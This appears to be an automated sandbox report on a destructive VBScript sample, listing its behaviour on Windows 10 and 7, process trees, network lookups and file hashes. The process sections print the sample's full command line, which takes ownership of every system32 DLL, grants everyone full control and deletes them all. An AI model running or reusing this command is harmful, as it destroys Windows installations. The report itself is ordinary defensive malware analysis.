Analysis Overview
SHA256
2c1ee1493637138bb1ed42609424e199b357a4602e286ac769d61a877b53b5fc
Threat Level: Likely malicious
The file target.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:55
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:55
Reported
2024-08-09 20:56
Platform
win10v2004-20240802-en
Max time kernel
30s
Max time network
5s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2020 wrote to memory of 880 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WScript.exe |
| PID 2020 wrote to memory of 880 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WScript.exe |
| PID 2020 wrote to memory of 4460 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 2020 wrote to memory of 4460 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\cmd.exe |
| PID 4460 wrote to memory of 4564 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 4460 wrote to memory of 4564 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\takeown.exe |
| PID 4460 wrote to memory of 348 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
| PID 4460 wrote to memory of 348 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\system32\icacls.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 45.56.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.201.86.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs
| MD5 | e1927179ed9426b0d7e8ea05f274e1aa |
| SHA1 | 52d760ce1cbc5999639667700deaa1dd855f6ee2 |
| SHA256 | 23e6a8a3566e9abf76e82b16256943c780091688dbd7df5bcf6870af9f960e6b |
| SHA512 | 86a7f8d6f2d687530e1d1b9e88923839e52dc422aaca6a43db95b9c1046ce19a3f2bb139b12d689edfdd0f134e6fd1be62c00ebf8dbd8bb69505ede0a9987b9e |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:55
Reported
2024-08-09 20:57
Platform
win7-20240704-en
Max time kernel
13s
Max time network
19s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
Network
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16target.vbs
| MD5 | e1927179ed9426b0d7e8ea05f274e1aa |
| SHA1 | 52d760ce1cbc5999639667700deaa1dd855f6ee2 |
| SHA256 | 23e6a8a3566e9abf76e82b16256943c780091688dbd7df5bcf6870af9f960e6b |
| SHA512 | 86a7f8d6f2d687530e1d1b9e88923839e52dc422aaca6a43db95b9c1046ce19a3f2bb139b12d689edfdd0f134e6fd1be62c00ebf8dbd8bb69505ede0a9987b9e |